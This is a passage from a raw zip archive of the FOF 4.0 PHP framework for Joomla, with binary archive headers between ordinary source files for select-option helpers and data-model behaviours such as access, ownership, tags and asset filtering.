$defaultParams = [ 'key_field' => $model->getKeyName(), 'value_field' => 'title', 'apply_access' => false, 'none' => null, 'none_as_zero' => false, 'translate' => true, 'with' => [], ]; $params = array_merge($defaultParams, $params); $cache = isset($params['cache']) && $params['cache']; $cacheKey = null; if ($cache) { $cacheKey = sha1(print_r([ $model->getContainer()->componentName, $model->getName(), $params['key_field'], $params['value_field'], $params['apply_access'], $params['none'], $params['translate'], $params['with'], $modelState, ], true)); } if ($cache && isset(self::$cacheModelOptions[$cacheKey])) { return self::$cacheModelOptions[$cacheKey]; } if (empty($params['none']) && !is_null($params['none'])) { $langKey = strtoupper($model->getContainer()->componentName . '_TITLE_' . $model->getName()); $placeholder = Text::_($langKey); if ($langKey !== $placeholder) { $params['none'] = '— ' . $placeholder . ' —'; } } if (!empty($params['none'])) { $options[] = HTMLHelper::_('FEFHelp.select.option', null, Text::_($params['none'])); if ($params['none_as_zero']) { $options[] = HTMLHelper::_('FEFHelp.select.option', 0, Text::_($params['none'])); } } if ($params['apply_access']) { $model->applyAccessFiltering(); } if (!is_null($params['with'])) { $model->with($params['with']); } // Set the model's state, if applicable foreach ($modelState as $stateKey => $stateValue) { $model->setState($stateKey, $stateValue); } // Set the query and get the result list. $items = $model->get(true); foreach ($items as $item) { $value = $item->{$params['value_field']}; if ($params['translate']) { $value = Text::_($value); } $options[] = HTMLHelper::_('FEFHelp.select.option', $item->{$params['key_field']}, $value); } if ($cache) { self::$cacheModelOptions[$cacheKey] = $options; } return $options; } /** * Get the FOF DI container from the backtrace of the static call. MAGIC! * * @return Container * * @since 3.3.0 */ private static function getContainerFromBacktrace(): Container { // In case we are on a brain-dead host if (!function_exists('debug_backtrace')) { throw new \RuntimeException("Your host has disabled the <code>debug_backtrace</code> PHP function. Please ask them to re-enable it. It's required for running this software."); } /** * For performance reasons I look into the last 4 call stack entries. If I don't find a container I * will expand my search by another 2 entries and so on until I either find a container or I stop * finding new call stack entries. */ $lastNumberOfEntries = 0; $limit = 4; $skip = 0; $container = null; while (true) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, $limit); if (count($backtrace) === $lastNumberOfEntries) { throw new \RuntimeException(__METHOD__ . ": Cannot retrieve FOF container from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } $lastNumberOfEntries = count($backtrace); if ($skip !== 0) { $backtrace = array_slice($backtrace, $skip); } foreach ($backtrace as $bt) { if (!isset($bt['object'])) { continue; } if (!method_exists($bt['object'], 'getContainer')) { continue; } return $bt['object']->getContainer(); } $skip = $limit; $limit += 2; } } } PK���\�U��.�.fof40/Html/SelectOptions.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Html; defined('_JEXEC') || die; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Helper\UserGroupsHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\Language\Text; use stdClass; /** * Returns arrays of HTMLHelper select options for Joomla-specific information such as access levels. * * @method static array access() access(array $params) * @method static array usergroups() usergroups(array $params) * @method static array cachehandlers() cachehandlers(array $params) * @method static array components() components(array $params) * @method static array languages() languages(array $params) * @method static array published() published(array $params) */ class SelectOptions { private static $cache = []; /** * Magic method to handle static calls * * @param string $name The name of the static method being called * @param array $arguments Optional arguments, if they are supported by the options type. * * @return mixed * @since 3.3.0 */ public static function __callStatic(string $name, array $arguments = []) { return self::getOptions($name, $arguments); } /** * Get a list of Joomla options of the type you specify. Supported types * - access View access levels * - usergroups User groups * - cachehandlers Cache handlers * - components Installed components accessible by the current user * - languages Site or administrator languages * - published Published status * * Global params: * - cache Should I returned cached data? Default: true. * * See the private static methods of this class for more information on params. * * @param string $type The options type to get * @param array $params Optional arguments, if they are supported by the options type. * * @return stdClass[] * @since 3.3.0 * @api */ public static function getOptions(string $type, array $params = []): array { if ((substr($type, 0, 1) == '_') || !method_exists(__CLASS__, '_api_' . $type)) { throw new \InvalidArgumentException(__CLASS__ . "does not support option type '$type'."); } $useCache = true; if (isset($params['cache'])) { $useCache = isset($params['cache']); unset($params['cache']); } $cacheKey = sha1($type . '--' . print_r($params, true)); $fetchNew = !$useCache || ($useCache && !isset(self::$cache[$cacheKey])); $ret = []; if ($fetchNew) { $ret = forward_static_call_array([__CLASS__, '_api_' . $type], [$params]); } if (!$useCache) { return $ret; } if ($fetchNew) { self::$cache[$cacheKey] = $ret; } return self::$cache[$cacheKey]; } /** * Joomla! Access Levels (previously: view access levels) * * Available params: * - allLevels: Show an option for all levels (default: false) * * @param array $params Parameters * * @return stdClass[] * @since 3.3.0 * @internal * * @see \Joomla\CMS\HTML\Helpers\Access::level() * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_access(array $params = []): array { $db = JoomlaFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('a.id', 'value') . ', ' . $db->quoteName('a.title', 'text')) ->from($db->quoteName('#__viewlevels', 'a')) ->group($db->quoteName(['a.id', 'a.title', 'a.ordering'])) ->order($db->quoteName('a.ordering') . ' ASC') ->order($db->quoteName('title') . ' ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList() ?? []; if (isset($params['allLevels']) && $params['allLevels']) { array_unshift($options, HTMLHelper::_('select.option', '', Text::_('JOPTION_ACCESS_SHOW_ALL_LEVELS'))); } return $options; } /** * Joomla! User Groups * * Available params: * - allGroups: Show an option for all groups (default: false) * * @param array $params Parameters * * @return stdClass[] * @since 3.3.0 * @internal * * @see \Joomla\CMS\HTML\Helpers\Access::usergroup() * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_usergroups(array $params = []): array { $options = array_values(UserGroupsHelper::getInstance()->getAll()); for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->value = $options[$i]->id; $options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->title; } // If all usergroups is allowed, push it into the array. if (isset($params['allGroups']) && $params['allGroups']) { array_unshift($options, HTMLHelper::_('select.option', '', Text::_('JOPTION_ACCESS_SHOW_ALL_GROUPS'))); } return $options; } /** * Joomla cache handlers * * @param array $params Ignored * * @return stdClass[] * @since 3.3.0 * @internal * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_cachehandlers(array $params = []): array { $options = []; // Convert to name => name array. foreach (Cache::getStores() as $store) { $options[] = HTMLHelper::_('select.option', $store, Text::_('JLIB_FORM_VALUE_CACHE_' . $store), 'value', 'text'); } return $options; } /** * Get a list of all installed components and also translates them. * * Available params: * - client_ids Array of Joomla application client IDs * * @param array $params * * @return stdClass[] * @since 3.3.0 * @internal * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_components(array $params = []): array { $db = JoomlaFactory::getDbo(); // Check for client_ids override $client_ids = $params['client_ids'] ?? [0, 1]; if (is_string($client_ids)) { $client_ids = explode(',', $client_ids); } // Calculate client_ids where clause $client_ids = array_map(function ($client_id) use ($db) { return $db->q((int) trim($client_id)); }, $client_ids); $query = $db->getQuery(true) ->select( [ $db->qn('name'), $db->qn('element'), $db->qn('client_id'), $db->qn('manifest_cache'), ] ) ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('client_id') . ' IN (' . implode(',', $client_ids) . ')'); $components = $db->setQuery($query)->loadObjectList('element'); // Convert to array of objects, so we can use sortObjects() // Also translate component names with Text::_() $aComponents = []; $user = JoomlaFactory::getUser(); foreach ($components as $component) { // Don't show components in the list where the user doesn't have access for // TODO: perhaps add an option for this if (!$user->authorise('core.manage', $component->element)) { continue; } $aComponents[$component->element] = (object) [ 'value' => $component->element, 'text' => self::_translateComponentName($component), ]; } // Reorder the components array, because the alphabetical // ordering changed due to the Text::_() translation uasort( $aComponents, function ($a, $b) { return strcasecmp($a->text, $b->text); } ); return $aComponents; } /** * Method to get the field options. * * Available params: * - client 'site' (default) or 'administrator' * - none Text to show for "all languages" option, use empty string to remove it * * @param array $params * * @return object[] Languages for the specified client * @since 3.3.0 * @internal * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_languages(array $params): array { $client = $params['client'] ?? 'site'; if (!in_array($client, ['site', 'administrator'])) { $client = 'site'; } // Make sure the languages are sorted base on locale instead of random sorting $options = LanguageHelper::createLanguageList(null, constant('JPATH_' . strtoupper($client)), true, true); if (count($options) > 1) { usort( $options, function ($a, $b) { return strcmp($a['value'], $b['value']); } ); } $none = $params['none'] ?? '*'; if (!empty($none)) { array_unshift($options, HTMLHelper::_('select.option', '*', Text::_($none))); } return $options; } /** * Options for a Published field * * Params: * - none Placeholder for no selection (empty key). Default: null. * - published Show "Published"? Default: true * - unpublished Show "Unpublished"? Default: true * - archived Show "Archived"? Default: false * - trash Show "Trashed"? Default: false * - all Show "All" option? This is different than none, the key is '*'. Default: false * * @param array $params * * @return array * @since 3.3.0 * @internal * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_published(array $params = []): array { $config = array_merge([ 'none' => '', 'published' => true, 'unpublished' => true, 'archived' => false, 'trash' => false, 'all' => false, ], $params); $options = []; if (!empty($config['none'])) { $options[] = HTMLHelper::_('select.option', '', Text::_($config['none'])); } if ($config['published']) { $options[] = HTMLHelper::_('select.option', '1', Text::_('JPUBLISHED')); } if ($config['unpublished']) { $options[] = HTMLHelper::_('select.option', '0', Text::_('JUNPUBLISHED')); } if ($config['archived']) { $options[] = HTMLHelper::_('select.option', '2', Text::_('JARCHIVED')); } if ($config['trash']) { $options[] = HTMLHelper::_('select.option', '-2', Text::_('JTRASHED')); } if ($config['all']) { $options[] = HTMLHelper::_('select.option', '*', Text::_('JALL')); } return $options; } /** * Options for a Published field * * Params: * - none Placeholder for no selection (empty key). Default: null. * * @param array $params * * @return array * @since 3.3.0 * @internal * * @noinspection PhpUnusedPrivateMethodInspection */ private static function _api_boolean(array $params = []): array { $config = array_merge([ 'none' => '', ], $params); $options = []; if (!empty($config['none'])) { $options[] = HTMLHelper::_('select.option', '', Text::_($config['none'])); } $options[] = HTMLHelper::_('select.option', '1', Text::_('JYES')); $options[] = HTMLHelper::_('select.option', '0', Text::_('JNO')); return $options; } /** * Translate a component name * * @param object $item The component object * * @return string $text The translated name of the extension * @since 3.3.0 * @internal * * @see /administrator/com_installer/models/extension.php */ private static function _translateComponentName(object $item): string { // Map the manifest cache to $item. This is needed to get the name from the // manifest_cache and NOT from the name column, else some Text::_() translations fails. $mData = json_decode($item->manifest_cache); if ($mData) { foreach ($mData as $key => $value) { if ($key == 'type') { // Ignore the type field continue; } $item->$key = $value; } } $lang = JoomlaFactory::getLanguage(); $source = JPATH_ADMINISTRATOR . '/components/' . $item->element; $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, null, false, false) || $lang->load("$item->element.sys", $source, null, false, false) || $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, $lang->getDefault(), false, false) || $lang->load("$item->element.sys", $source, $lang->getDefault(), false, false); return Text::_($item->name); } } PK���\{=� 'fof40/Model/DataModel/Behaviour/Own.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items owned by the currently logged in user only * * @since 2.1 */ class Own extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(DataModel &$model, JDatabaseQuery &$query) { // Make sure the field actually exists if (!$model->hasField('created_by')) { return; } // Get the current user's id $user_id = $model->getContainer()->platform->getUser()->id; // And filter the query output by the user id $db = $model->getContainer()->platform->getDbo(); $query->where($db->qn($model->getFieldAlias('created_by')) . ' = ' . $db->q($user_id)); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param mixed &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(DataModel &$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('created_by')) { return; } // Get the user $user_id = $model->getContainer()->platform->getUser()->id; $recordUser = $model->getFieldValue('created_by', null); // Filter by authorised access levels if ($recordUser != $user_id) { $model->reset(true); } } } PK���\��f���+fof40/Model/DataModel/Behaviour/Enabled.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items based on the enabled status * * @since 2.1 */ class Enabled extends Observer { /** * This event runs before we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onBeforeBuildQuery(DataModel &$model, JDatabaseQuery &$query) { // Make sure the field actually exists if (!$model->hasField('enabled')) { return; } $fieldName = $model->getFieldAlias('enabled'); $db = $model->getDbo(); $model->whereRaw($db->qn($fieldName) . ' = ' . $db->q(1)); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param mixed &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(DataModel &$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('enabled')) { return; } // Filter by enabled status if (!$model->getFieldValue('enabled', 0)) { $model->reset(true); } } } PK���\��k��,fof40/Model/DataModel/Behaviour/Modified.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to updated the modified_by and modified_on fields on newly created records. * * This behaviour is added to DataModel by default. If you want to remove it you need to do * $this->behavioursDispatcher->removeBehaviour('Modified'); * * @since 3.0 */ class Modified extends Observer { /** * Add the modified_on and modified_by fields in the fieldsSkipChecks list of the model. We expect them to be empty * so that we can fill them in through this behaviour. * * @param DataModel $model */ public function onBeforeCheck(DataModel &$model) { $model->addSkipCheckField('modified_on'); $model->addSkipCheckField('modified_by'); } /** * @param DataModel $model * @param \stdClass $dataObject */ public function onBeforeUpdate(DataModel &$model, &$dataObject) { // Make sure we're not modifying a locked record $userId = $model->getContainer()->platform->getUser()->id; $isLocked = $model->isLocked($userId); if ($isLocked) { return; } // Handle the modified_on field if ($model->hasField('modified_on')) { $model->setFieldValue('modified_on', $model->getContainer()->platform->getDate()->toSql(false, $model->getDbo())); $modifiedOnField = $model->getFieldAlias('modified_on'); $dataObject->$modifiedOnField = $model->getFieldValue('modified_on'); } // Handle the modified_by field if ($model->hasField('modified_by')) { $model->setFieldValue('modified_by', $userId); $modifiedByField = $model->getFieldAlias('modified_by'); $dataObject->$modifiedByField = $model->getFieldValue('modified_by'); } } } PK���\���U((+fof40/Model/DataModel/Behaviour/Created.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; /** * FOF model behavior class to updated the created_by and created_on fields on newly created records. * * This behaviour is added to DataModel by default. If you want to remove it you need to do * $this->behavioursDispatcher->removeBehaviour('Created'); * * @since 3.0 */ class Created extends Observer { /** * Add the created_on and created_by fields in the fieldsSkipChecks list of the model. We expect them to be empty * so that we can fill them in through this behaviour. * * @param DataModel $model */ public function onBeforeCheck(DataModel &$model) { $model->addSkipCheckField('created_on'); $model->addSkipCheckField('created_by'); } /** * @param DataModel $model * @param \stdClass $dataObject */ public function onBeforeCreate(DataModel &$model, &$dataObject) { // Handle the created_on field if ($model->hasField('created_on')) { $nullDate = $model->isNullableField('created_on') ? null : $model->getDbo()->getNullDate(); $created_on = $model->getFieldValue('created_on'); if (empty($created_on) || ($created_on == $nullDate)) { $model->setFieldValue('created_on', $model->getContainer()->platform->getDate()->toSql(false, $model->getDbo())); $createdOnField = $model->getFieldAlias('created_on'); $dataObject->$createdOnField = $model->getFieldValue('created_on'); } } // Handle the created_by field if ($model->hasField('created_by')) { $created_by = $model->getFieldValue('created_by'); if (empty($created_by)) { $model->setFieldValue('created_by', $model->getContainer()->platform->getUser()->id); $createdByField = $model->getFieldAlias('created_by'); $dataObject->$createdByField = $model->getFieldValue('created_by'); } } } } PK���\�[����2fof40/Model/DataModel/Behaviour/ContentHistory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use ContenthistoryHelper; use FOF40\Event\Observer; use FOF40\Model\DataModel; /** * FOF model behavior class to add Joomla! content history support * * @since 2.1 */ class ContentHistory extends Observer { /** @var ContentHistoryHelper */ protected $historyHelper; /** * The event which runs after storing (saving) data to the database * * @param DataModel &$model The model which calls this event * * @return boolean True to allow saving without an error */ public function onAfterSave(DataModel &$model) { $model->checkContentType(); $componentParams = $model->getContainer()->params; if ($componentParams->get('save_history', 0)) { if (!$this->historyHelper) { $this->historyHelper = new ContentHistoryHelper($model->getContentType()); } $this->historyHelper->store($model); } return true; } /** * The event which runs before deleting a record * * @param DataModel &$model The model which calls this event * @param integer $oid The PK value of the record to delete * * @return boolean True to allow the deletion */ public function onBeforeDelete(DataModel &$model, $oid) { $componentParams = $model->getContainer()->params; if ($componentParams->get('save_history', 0)) { if (!$this->historyHelper) { $this->historyHelper = new ContentHistoryHelper($model->getContentType()); } $this->historyHelper->deleteHistory($model); } return true; } /** * This event runs after publishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterPublish(DataModel &$model) { $model->updateUcmContent(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterUnpublish(DataModel &$model) { $model->updateUcmContent(); } } PK���\g��ב � +fof40/Model/DataModel/Behaviour/Filters.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; use Joomla\Registry\Registry; class Filters extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(DataModel &$model, JDatabaseQuery &$query) { $tableKey = $model->getIdFieldName(); $db = $model->getDbo(); $fields = $model->getTableFields(); $blacklist = $model->getBlacklistFilters(); $filterZero = $model->getBehaviorParam('filterZero', null); $tableAlias = $model->getBehaviorParam('tableAlias', null); foreach ($fields as $fieldname => $fieldmeta) { if (in_array($fieldname, $blacklist)) { continue; } $fieldInfo = (object)array( 'name' => $fieldname, 'type' => $fieldmeta->Type, 'filterZero' => $filterZero, 'tableAlias' => $tableAlias, ); $filterName = $fieldInfo->name; $filterState = $model->getState($filterName, null); // Special primary key handling: if ignore request is set we'll also look for an 'id' state variable if a // state variable by the same name as the key doesn't exist. If ignore request is not set in the model we // do not filter by 'id' since this interferes with going from an edit page to a browse page (the list is // filtered by id without user controls to unset it). if ($fieldInfo->name == $tableKey) { $filterState = $model->getState($filterName, null); if (!$model->getIgnoreRequest()) { continue; } if (empty($filterState)) { $filterState = $model->getState('id', null); } } $field = DataModel\Filter\AbstractFilter::getField($fieldInfo, array('dbo' => $db)); if (!is_object($field) || !($field instanceof DataModel\Filter\AbstractFilter)) { continue; } if ((is_array($filterState) && ( array_key_exists('value', $filterState) || array_key_exists('from', $filterState) || array_key_exists('to', $filterState) )) || is_object($filterState)) { $options = new Registry($filterState); } else { $options = new Registry(); $options->set('value', $filterState); } $methods = $field->getSearchMethods(); $method = $options->get('method', $field->getDefaultSearchMethod()); if (!in_array($method, $methods)) { $method = 'exact'; } switch ($method) { case 'between': case 'outside': case 'range' : $sql = $field->$method($options->get('from', null), $options->get('to', null), $options->get('include', false)); break; case 'interval': case 'modulo': $sql = $field->$method($options->get('value', null), $options->get('interval')); break; case 'search': $sql = $field->$method($options->get('value', null), $options->get('operator', '=')); break; case 'exact': case 'partial': default: $sql = $field->$method($options->get('value', null)); break; } if ($sql) { $query->where($sql); } } } } PK���\�&��@@(fof40/Model/DataModel/Behaviour/Tags.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observable; use FOF40\Event\Observer; use FOF40\Model\DataModel; use Joomla\CMS\Helper\TagsHelper; /** * FOF model behavior class to add Joomla! Tags support * * @since 2.1 */ class Tags extends Observer { /** @var TagsHelper */ protected $tagsHelper; public function __construct(Observable &$subject) { parent::__construct($subject); $this->tagsHelper = new TagsHelper(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param \stdClass &$dataObject The data to bind to the form * * @return void */ public function onBeforeCreate(DataModel &$model, &$dataObject) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); unset($dataObject->$tagField); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param \stdClass &$dataObject The data to bind to the form * * @return void */ public function onBeforeUpdate(DataModel &$model, &$dataObject) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); unset($dataObject->$tagField); } /** * The event which runs after binding data to the table * * @param DataModel &$model The model which calls this event * * @return void * * @throws \Exception Error message if failed to store tags */ public function onAfterSave(DataModel &$model) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); // Avoid to update on other method (e.g. publish, ...) if (!in_array($model->getContainer()->input->getCmd('task'), ['apply', 'save', 'savenew'])) { return; } $oldTags = $this->tagsHelper->getTagIds($model->getId(), $model->getContentType()); $newTags = $model->$tagField ? implode(',', $model->$tagField) : null; // If no changes, we stop here if ($oldTags == $newTags) { return; } // Check if the content type exists, and create it if it does not $model->checkContentType(); $this->tagsHelper->typeAlias = $model->getContentType(); if (!$this->tagsHelper->postStoreProcess($model, $model->$tagField)) { throw new \Exception('Error storing tags'); } } /** * The event which runs after deleting a record * * @param DataModel &$model The model which calls this event * @param integer $oid The PK value of the record which was deleted * * @return void * * @throws \Exception Error message if failed to detele tags */ public function onAfterDelete(DataModel &$model, $oid) { $this->tagsHelper->typeAlias = $model->getContentType(); if (!$this->tagsHelper->deleteTagData($model, $oid)) { throw new \Exception('Error deleting Tags'); } } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param mixed $data An associative array or object to bind to the DataModel instance. * * @return void * @noinspection PhpUnusedParameterInspection */ public function onAfterBind(DataModel &$model, &$data) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); if ($model->$tagField) { return; } $type = $model->getContentType(); $model->addKnownField($tagField); $model->$tagField = $this->tagsHelper->getTagIds($model->getId(), $type); } /** * This event runs after publishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterPublish(DataModel &$model) { $model->updateUcmContent(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterUnpublish(DataModel &$model) { $model->updateUcmContent(); } } PK���\A�d��*fof40/Model/DataModel/Behaviour/Assets.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use Joomla\CMS\Access\Rules; use Joomla\CMS\Factory; use Joomla\CMS\Table\Asset; /** * FOF model behavior class to add Joomla! ACL assets support * * @since 2.1 */ class Assets extends Observer { public function onAfterSave(DataModel &$model) { if (!$model->hasField('asset_id') || !$model->isAssetsTracked()) { return true; } $assetFieldAlias = $model->getFieldAlias('asset_id'); $currentAssetId = $model->getFieldValue('asset_id'); unset($model->$assetFieldAlias); // Create the object used for inserting/updating data to the database $fields = $model->getTableFields(); // Let's remove the asset_id field, since we unset the property above and we would get a PHP notice if (isset($fields[$assetFieldAlias])) { unset($fields[$assetFieldAlias]); } // Asset Tracking $parentId = $model->getAssetParentId(); $name = $model->getAssetName(); $title = $model->getAssetTitle(); $asset = new Asset(Factory::getDbo()); $asset->loadByName($name); // Re-inject the asset id. $this->$assetFieldAlias = $asset->id; // Check for an error. $error = $asset->getError(); // Since we are using \Joomla\CMS\Table\Table, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if (!empty($error)) { throw new \Exception($error); } // @codeCoverageIgnoreEnd // Specify how a new or moved node asset is inserted into the tree. // Since we're unsetting the table field before, this statement is always true... if (empty($model->$assetFieldAlias) || $asset->parent_id !== $parentId) { $asset->setLocation($parentId, 'last-child'); } // Prepare the asset to be stored. $asset->parent_id = $parentId; $asset->name = $name; $asset->title = $title; if ($model->getRules() instanceof Rules) { $asset->rules = (string) $model->getRules(); } // Since we are using \Joomla\CMS\Table\Table, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if (!$asset->check() || !$asset->store()) { throw new \Exception($asset->getError()); } // @codeCoverageIgnoreEnd // Create an asset_id or heal one that is corrupted. if (empty($model->$assetFieldAlias) || (($currentAssetId != $model->$assetFieldAlias) && !empty($model->$assetFieldAlias))) { // Update the asset_id field in this table. $model->$assetFieldAlias = (int) $asset->id; $k = $model->getKeyName(); $db = $model->getDbo(); $query = $db->getQuery(true) ->update($db->qn($model->getTableName())) ->set($db->qn($assetFieldAlias) . ' = ' . (int) $model->$assetFieldAlias) ->where($db->qn($k) . ' = ' . (int) $model->$k); $db->setQuery($query)->execute(); } return true; } public function onAfterBind(DataModel &$model, &$src) { if (!$model->isAssetsTracked()) { return true; } $rawRules = []; if (is_array($src) && array_key_exists('rules', $src) && is_array($src['rules'])) { $rawRules = $src['rules']; } elseif (is_object($src) && isset($src->rules) && is_array($src->rules)) { $rawRules = $src->rules; } if (empty($rawRules)) { return true; } // Bind the rules. if (isset($rawRules) && is_array($rawRules)) { // We have to manually remove any empty value, since they will be converted to int, // and "Inherited" values will become "Denied". Joomla is doing this manually, too. $rules = []; foreach ($rawRules as $action => $ids) { // Build the rules array. $rules[$action] = []; foreach ($ids as $id => $p) { if ($p !== '') { $rules[$action][$id] = $p == '1' || $p == 'true'; } } } $model->setRules($rules); } return true; } public function onBeforeDelete(DataModel &$model, $oid) { if (!$model->isAssetsTracked()) { return true; } $k = $model->getKeyName(); // If the table is not loaded, let's try to load it with the id if (!$model->$k) { $model->load($oid); } // If I have an invalid assetName I have to stop $name = $model->getAssetName(); // Do NOT touch \Joomla\CMS\Table\Table here -- we are loading the core asset table which is a \Joomla\CMS\Table\Table, not a FOF Table $asset = new Asset(Factory::getDbo()); if ($asset->loadByName($name)) { // Since we are using \Joomla\CMS\Table\Table, there is no way to mock it and test for failures :( // @codeCoverageIgnoreStart if (!$asset->delete()) { throw new \Exception($asset->getError()); } // @codeCoverageIgnoreEnd } return true; } } PK���\V>�/''*fof40/Model/DataModel/Behaviour/Access.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items based on the viewing access levels. * * @since 2.1 */ class Access extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(DataModel &$model, JDatabaseQuery &$query) { // Make sure the field actually exists if (!$model->hasField('access')) { return; } $model->applyAccessFiltering(null); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param mixed &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(DataModel &$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('access')) { return; } // Get the user $user = $model->getContainer()->platform->getUser(); $recordAccessLevel = $model->getFieldValue('access', null); // Filter by authorised access levels if (!in_array($recordAccessLevel, $user->getAuthorisedViewLevels())) { $model->reset(true); } } } PK���\��l���3fof40/Model/DataModel/Behaviour/RelationFilters.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; use Joomla\Registry\Registry; class RelationFilters extends Observer { /** * This event runs after we have built the query used to fetch a record list in a model. It is used to apply * automatic query filters based on model relations. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(DataModel &$model, 